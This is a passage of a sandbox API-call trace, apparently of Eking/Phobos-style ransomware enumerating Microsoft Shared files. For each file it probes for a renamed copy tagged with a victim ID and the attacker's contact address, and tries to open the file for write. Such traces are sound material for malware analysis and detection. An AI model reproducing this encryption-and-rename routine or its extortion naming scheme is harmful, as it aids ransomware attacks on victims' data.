hTemplateFile=0x0) returned 0x1ec [0169.098] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3584) returned 1 [0169.098] CloseHandle (hObject=0x1ec) returned 1 [0169.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0169.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0169.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.100] ResetEvent (hEvent=0x178) returned 1 [0169.100] SetEvent (hEvent=0x17c) returned 1 [0169.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.100] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3584) returned 1 [0169.100] CloseHandle (hObject=0x1ec) returned 1 [0169.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0169.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0169.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.101] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0169.102] ResetEvent (hEvent=0x178) returned 1 [0169.102] SetEvent (hEvent=0x17c) returned 1 [0169.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.103] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=419232) returned 1 [0169.103] CloseHandle (hObject=0x1ec) returned 1 [0169.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 0x20 [0169.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 0x20 [0169.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.104] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0169.105] ResetEvent (hEvent=0x178) returned 1 [0169.105] SetEvent (hEvent=0x17c) returned 1 [0169.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.106] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=26624) returned 1 [0169.106] CloseHandle (hObject=0x1e8) returned 1 [0169.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0169.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0169.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.107] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0169.108] ResetEvent (hEvent=0x178) returned 1 [0169.108] SetEvent (hEvent=0x17c) returned 1 [0169.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.108] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=378880) returned 1 [0169.108] CloseHandle (hObject=0x1ec) returned 1 [0169.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0169.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0169.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.109] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0169.111] ResetEvent (hEvent=0x178) returned 1 [0169.111] SetEvent (hEvent=0x17c) returned 1 [0169.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.112] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=198056) returned 1 [0169.112] CloseHandle (hObject=0x1e8) returned 1 [0169.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0169.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0169.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.118] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0169.118] ResetEvent (hEvent=0x178) returned 1 [0169.118] SetEvent (hEvent=0x17c) returned 1 [0169.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.119] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=52656) returned 1 [0169.119] CloseHandle (hObject=0x1e8) returned 1 [0169.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0169.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0169.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.120] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0169.120] ResetEvent (hEvent=0x178) returned 1 [0169.120] SetEvent (hEvent=0x17c) returned 1 [0169.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.121] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=20944) returned 1 [0169.121] CloseHandle (hObject=0x1e8) returned 1 [0169.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0169.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0169.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.121] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0169.122] ResetEvent (hEvent=0x178) returned 1 [0169.122] SetEvent (hEvent=0x17c) returned 1 [0169.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.123] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=862608) returned 1 [0169.123] CloseHandle (hObject=0x1e8) returned 1 [0169.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0169.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0169.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.123] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0169.124] ResetEvent (hEvent=0x178) returned 1 [0169.124] SetEvent (hEvent=0x17c) returned 1 [0169.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.124] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1680383) returned 1 [0169.124] CloseHandle (hObject=0x1e8) returned 1 [0169.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm")) returned 0x20 [0169.125] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0169.125] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm")) returned 0 [0169.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0169.441] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=55680) returned 1 [0169.441] CloseHandle (hObject=0x1e4) returned 1 [0169.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0169.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0169.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0169.443] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1388416) returned 1 [0169.443] CloseHandle (hObject=0x1e4) returned 1 [0169.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0169.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0169.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0169.445] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=41864) returned 1 [0169.445] CloseHandle (hObject=0x1e4) returned 1 [0169.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0169.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0169.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0169.446] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=11656) returned 1 [0169.446] CloseHandle (hObject=0x1e4) returned 1 [0169.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0169.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0169.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0169.448] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1941) returned 1 [0169.448] CloseHandle (hObject=0x1e4) returned 1 [0169.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0169.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program 